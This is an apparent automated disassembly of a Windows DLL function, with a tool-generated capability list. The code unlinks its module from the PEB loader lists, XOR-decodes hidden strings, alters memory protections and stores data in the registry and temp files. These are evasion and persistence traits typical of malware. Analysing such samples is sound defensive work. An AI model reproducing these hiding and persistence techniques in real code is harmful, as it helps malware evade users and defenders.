Function at 0x10004407
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Allocate thread local storage
Check os version
Delete registry value
Encode data using xor
Get common file path
Get file size
Get process heap flags
Query environment variable
Query or enumerate registry value
Read file on windows
Set file attributes
Set registry value
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x42c
cmp dword [esp + 0x444], 1
je 0x10004425
mov eax, 1
jmp 0x10004c43
sub esp, 0xc
push 0
call sub.KERNEL32.dll_GetModuleHandleA
lea esi, [eax + 0x40]
add esp, 0xc
cmp dword [eax + 0x40], 0xc8c70ff0
jne 0x10004448
mov eax, 0
jmp 0x10004c43
lea ebx, [esp + 0x324]
push ebx
push 0x40
push 4
push esi
call sub.KERNEL32.dll_VirtualProtect
mov dword [esi], 0xc8c70ff0
push ebx
push dword [esp + 0x328]
push 4
push esi
call sub.KERNEL32.dll_VirtualProtect
call sub.KERNEL32.dll_GetProcessHeap
mov dword [0x100073d0], eax
call sub.KERNEL32.dll_GetVersion
and eax, 0x80000000
mov dword [0x100073c0], eax
test eax, eax
je 0x100044ba
sub esp, 4
push 0x104
lea ebx, [esp + 0x330]
push ebx
push dword [esp + 0x44c]
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 8
push ebx
call sub.KERNEL32.dll_LoadLibraryA
add esp, 0xc
jmp 0x100045a9
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x324], 0
mov edx, 0
mov edi, 0
lea ebp, [eax + 0xc]
shl edx, 3
lea eax, [edx + ebp]
mov ecx, dword [eax]
cmp eax, ecx
je 0x10004529
mov esi, dword [esp + 0x440]
mov ebx, ecx
sub ebx, edx
cmp dword [ebx + 0x18], esi
jne 0x10004523
jmp 0x10004505
mov ebx, ecx
sub ebx, edx
cmp dword [ebx + 0x18], esi
jne 0x10004523
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
mov dword [edx], eax
mov eax, dword [ecx]
mov dword [eax + 4], edx
mov edx, dword [ebx + 0x40]
mov eax, dword [ebx + 0x3c]
mov dword [edx], eax
mov eax, dword [ebx + 0x3c]
mov dword [eax + 4], edx
mov edi, ebx
jmp 0x10004529
mov ecx, dword [ecx]
cmp eax, ecx
jne 0x100044fc
mov edx, dword [esp + 0x324]
inc edx
mov dword [esp + 0x324], edx
cmp edx, 2
jbe 0x100044de
test edi, edi
je 0x10004565
movzx edx, word [edi + 0x24]
mov eax, dword [edi + 0x28]
call section..text
movzx edx, word [edi + 0x2c]
mov eax, dword [edi + 0x30]
call section..text
mov edx, 0x48
mov eax, edi
call section..text
mov eax, 0
xor byte [eax + section..data], 0x78
inc eax
cmp eax, 9
jne 0x1000456a
mov al, 0
xor byte [eax + str.6_f__r], 0x78
inc eax
cmp eax, 0x19
jne 0x10004579
sub esp, 0xc
push section..data
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 0xc
push str.6_f__r
push eax
call sub.KERNEL32.dll_GetProcAddress
mov dword [0x100073b0], eax
add esp, 0x18
mov eax, dword [0x10005024]
lea eax, [eax + eax*2]
shl eax, 2
call fcn.10001a08
mov dword [0x100076c0], eax
sub esp, 0xc
push 0x100070e0
call sub.KERNEL32.dll_InitializeCriticalSection
push 0x10007650
call sub.KERNEL32.dll_InitializeCriticalSection
push 0x10007410
call sub.KERNEL32.dll_InitializeCriticalSection
push 0x100076d0
call sub.KERNEL32.dll_InitializeCriticalSection
push 0x100076f0
call sub.KERNEL32.dll_InitializeCriticalSection
push 0x10007310
call sub.KERNEL32.dll_InitializeCriticalSection
push 0x100073f0
call sub.KERNEL32.dll_InitializeCriticalSection
mov eax, 0
add esp, 0xc
xor byte [eax + 0x10005040], 0x78
inc eax
cmp eax, 0x32
jne 0x1000460f
mov al, 0
xor byte [eax + 0x10005073], 0x78
inc eax
cmp eax, 0x18
jne 0x1000461e
mov al, 0
xor byte [eax + 0x1000508c], 0x78
inc eax
cmp eax, 7
jne 0x1000462d
mov al, 0
xor byte [eax + 0x10005094], 0x78
inc eax
cmp eax, 6
jne 0x1000463c
xor byte [0x1000509b], 0x78
xor byte [0x1000509c], 0x78
xor byte [0x1000509d], 0x78
mov al, 0
xor byte [eax + 0x100050a0], 0x78
inc eax
cmp eax, 0x1f
jne 0x10004660
mov al, 0
xor byte [eax + str.CWWWWWWWUWWW], 0x4d
inc eax
cmp eax, 0x1a8
jne 0x1000466f
sub esp, 0xc
push 0
lea eax, [esp + 0x330]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x10005040
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x10004811
mov dword [esp + 0x31c], 0x208
sub esp, 8
lea eax, [esp + 0x324]
push eax
push 0x10007440
push 0
push 0
push 0x10005073
push dword [esp + 0x33c]
call sub.ADVAPI32.DLL_RegQueryValueExA
add esp, 8
test eax, eax
jne 0x1000481c
mov eax, dword [esp + 0x31c]
add eax, 0x10007440
cmp eax, 0x10007440
ja 0x10004707
mov ecx, 0x10007440
jmp 0x10004725
mov edx, 0x10007441
xor byte [edx - 1], 0x78
mov ecx, edx
lea edx, [edx + 1]
mov eax, dword [esp + 0x31c]
add eax, 0x10007440
cmp eax, ecx
ja 0x1000470c
mov byte [ecx], 0
sub esp, 4
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push 0x10007440
call sub.KERNEL32.dll_CreateFileA
mov esi, eax
add esp, 4
test eax, eax
je 0x100047f8
cmp eax, 0xffffffff
je 0x100047f8
sub esp, 8
push 0
push eax
call sub.KERNEL32.dll_GetFileSize
mov dword [esp + 0x324], eax
add esp, 8
test eax, eax
je 0x10004c32
cmp eax, 5
jbe 0x10004c32
cmp eax, 0xffffffff
je 0x10004c32
inc eax
call fcn.10001a08
mov ebx, eax
mov edi, eax
mov eax, dword [esp + 0x31c]
mov byte [ebx + eax], 0
sub esp, 0xc
push 0
lea eax, [esp + 0x32c]
push eax
push dword [esp + 0x330]
push ebx
push esi
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
mov eax, dword [ebx]
cmp eax, dword [str.CWWWWWWWUWWW]
jb 0x100047d8
mov edx, dword [esp + 0x31c]
mov eax, ebx
call fcn.10001a1d
test eax, eax
jne 0x100047e4
mov eax, edi
call fcn.10001595
jmp 0x10004c32
sub esp, 0xc
push esi
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
test ebx, ebx
jne 0x100049a4
sub esp, 8
push 0x10005073
push dword [esp + 0x32c]
call sub.ADVAPI32.DLL_RegDeleteValueA
add esp, 8
jmp 0x1000481c
mov dword [esp + 0x320], 0
mov dword [0x10007430], str.CWWWWWWWUWWW
mov edx, 0x1a8
mov eax, str.CWWWWWWWUWWW
call fcn.10001a1d
sub esp, 4
push 0x104
lea eax, [esp + 0x220]
push eax
push 0x1000508c
call sub.KERNEL32.dll_GetEnvironmentVariableA
mov dword [esp + 0x320], eax
add esp, 4
test eax, eax
je 0x10004864
cmp eax, 0x104
jbe 0x100048ab
sub esp, 4
push 0x104
lea eax, [esp + 0x220]
push eax
push 0x10005094
call sub.KERNEL32.dll_GetEnvironmentVariableA
mov dword [esp + 0x320], eax
add esp, 4
test eax, eax
je 0x10004893
cmp eax, 0x104
jbe 0x100048ab
sub esp, 8
lea eax, [esp + 0x220]
push eax
push 0x104
call sub.KERNEL32.dll_GetTempPathA
add esp, 8
push 0x10007440
push 0
push 0x1000509b
lea eax, [esp + 0x224]
push eax
call sub.KERNEL32.dll_GetTempFileNameA
sub esp, 8
push pe_nt_image_headers32
push 0x10007440
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 0xc
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push 0x10007440
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
add esp, 0x14
test eax, eax
je 0x100049a4
cmp eax, 0xffffffff
je 0x100049a4
sub esp, 0xc
push 0
lea eax, [esp + 0x32c]
push eax
push 0x1a8
push str.CWWWWWWWUWWW
push ebx
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
push 0x10007440
call sub.KERNEL32.dll_lstrlenA
mov ebx, eax
mov dword [esp + 0x328], eax
lea eax, [eax + 0x10007440]
add esp, 0xc
cmp eax, 0x10007440
jbe 0x1000497e
mov ecx, 0
lea esi, [esp + 0x10]
mov al, byte [ecx + 0x10007440]
xor eax, 0x78
mov byte [ecx + esi], al
lea edx, [ecx + 0x10007441]
mov ebx, dword [esp + 0x31c]
inc ecx
lea eax, [ebx + 0x10007440]
cmp eax, edx
ja 0x1000495a
mov edx, dword [esp + 0x320]
test edx, edx
je 0x100049bb
lea eax, [esp + 0x10]
sub esp, 8
push ebx
push eax
push 3
push 0
push 0x10005073
push edx
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
mov eax, dword [esp + 0x320]
test eax, eax
je 0x100049bb
sub esp, 0xc
push eax
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
call sub.KERNEL32.dll_TlsAlloc
mov dword [0x10007670], eax
call sub.KERNEL32.dll_TlsAlloc
mov dword [0x10007760], eax
mov eax, 0
xor byte [eax + 0x10005268], 0x78
inc eax
cmp eax, 0xc
jne 0x100049d4
mov al, 0
xor byte [eax + 0x10005275], 0x78
inc eax
cmp eax, 0xc
jne 0x100049e3
mov al, 0
xor byte [eax + 0x10005282], 0x78
inc eax
cmp eax, 0xe
jne 0x100049f2
mov al, 0
xor byte [eax + 0x10005291], 0x78
inc eax
cmp eax, 0xc
jne 0x10004a01
mov al, 0
xor byte [eax + 0x1000529e], 0x78
inc eax
cmp eax, 0xe
jne 0x10004a10
sub esp, 0xc
push 0x10005268
call sub.KERNEL32.dll_GetModuleHandleA
mov dword [0x100073e0], eax
add esp, 0xc
mov edx, 0x100052c0
call fcn.10003cae
mov eax, 0
xor byte [eax + 0x100052fc], 0x78
inc eax
cmp eax, 0xa
jne 0x10004a41
mov al, 0
xor byte [eax + 0x10005307], 0x78
inc eax
cmp eax, 0xd
jne 0x10004a50
mov al, 0
xor byte [eax + 0x10005315], 0x78
inc eax
cmp eax, 0xb
jne 0x10004a5f
mov al, 0
xor byte [eax + 0x10005321], 0x78
inc eax
cmp eax, 0xc
jne 0x10004a6e
mov al, 0
xor byte [eax + 0x1000532e], 0x78
inc eax
cmp eax, 7
jne 0x10004a7d
mov al, 0
xor byte [eax + 0x10005336], 0x78
inc eax
cmp eax, 0xb
jne 0x10004a8c
mov al, 0
xor byte [eax + 0x10005342], 0x78
inc eax
cmp eax, 4
jne 0x10004a9b
mov al, 0
xor byte [eax + str._9], 0x78
inc eax
cmp eax, 7
jne 0x10004aaa
mov al, 0
xor byte [eax + 0x1000534f], 0x78
inc eax
cmp eax, 0xb
jne 0x10004ab9
mov al, 0
xor byte [eax + str.__XW], 0x78
inc eax
cmp eax, 5
jne 0x10004ac8
mov al, 0
xor byte [eax + str._7_XW], 0x78
inc eax
cmp eax, 6
jne 0x10004ad7
mov al, 0
xor byte [eax + str.__X], 0x78
inc eax
cmp eax, 0xb
jne 0x10004ae6
mov al, 0
xor byte [eax + str._7_X], 0x78
inc eax
cmp eax, 0xc
jne 0x10004af5
mov al, 0
xor byte [eax + 0x10005381], 0x78
inc eax
cmp eax, 8
jne 0x10004b04
mov al, 0
xor byte [eax + 0x1000538a], 0x78
inc eax
cmp eax, 9
jne 0x10004b13
mov al, 0
xor byte [eax + str._7_], 0x78
inc eax
cmp eax, 4
jne 0x10004b22
mov al, 0
xor byte [eax + 0x100053a0], 0x78
inc eax
cmp eax, 0x26
jne 0x10004b31
mov al, 0
xor byte [eax + str.1_9__BX__rV__rV__rV__rr], 0x78
inc eax
cmp eax, 0x15
jne 0x10004b40
mov al, 0
xor byte [eax + str.07_695BX__vr], 0x78
inc eax
cmp eax, 0xd
jne 0x10004b4f
mov al, 0
xor byte [eax + 0x100053eb], 0x78
inc eax
cmp eax, 0x11
jne 0x10004b5e
mov al, 0
xor byte [eax + 0x100053fd], 0x78
inc eax
cmp eax, 6
jne 0x10004b6d
mov al, 0
xor byte [eax + 0x10005404], 0x78
inc eax
cmp eax, 0xa
jne 0x10004b7c
mov al, 0
xor byte [eax + str.7___9_5], 0x78
inc eax
cmp eax, 0x4d
jne 0x10004b8b
mov al, 0
xor byte [eax + 0x1000546e], 0x78
inc eax
cmp eax, 0xd
jne 0x10004b9a
mov al, 0
xor byte [eax + 0x1000547c], 0x78
inc eax
cmp eax, 0xa
jne 0x10004ba9
mov al, 0
xor byte [eax + str._n_n_], 0x78
inc eax
cmp eax, 7
jne 0x10004bb8
sub esp, 0xc
push 0x100052fc
call sub.KERNEL32.dll_GetModuleHandleA
add esp, 0xc
test eax, eax
je 0x10004bea
mov edx, 0x100054a0
call fcn.10003cae
mov eax, 1
jmp 0x10004c43
mov eax, 0xc
call fcn.10001a08
mov ebx, eax
mov dword [eax], 0x100052fc
mov dword [eax + 4], 0x100054a0
sub esp, 0xc
push 0x100070e0
call sub.KERNEL32.dll_EnterCriticalSection
mov eax, dword [0x100070d0]
mov dword [ebx + 8], eax
mov dword [0x100070d0], ebx
push 0x100070e0
call sub.KERNEL32.dll_LeaveCriticalSection
mov eax, 1
add esp, 0xc
jmp 0x10004c43
sub esp, 0xc
push esi
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
jmp 0x100047f8
add esp, 0x42c
pop ebx
pop esi
pop edi
pop ebp
ret 0xc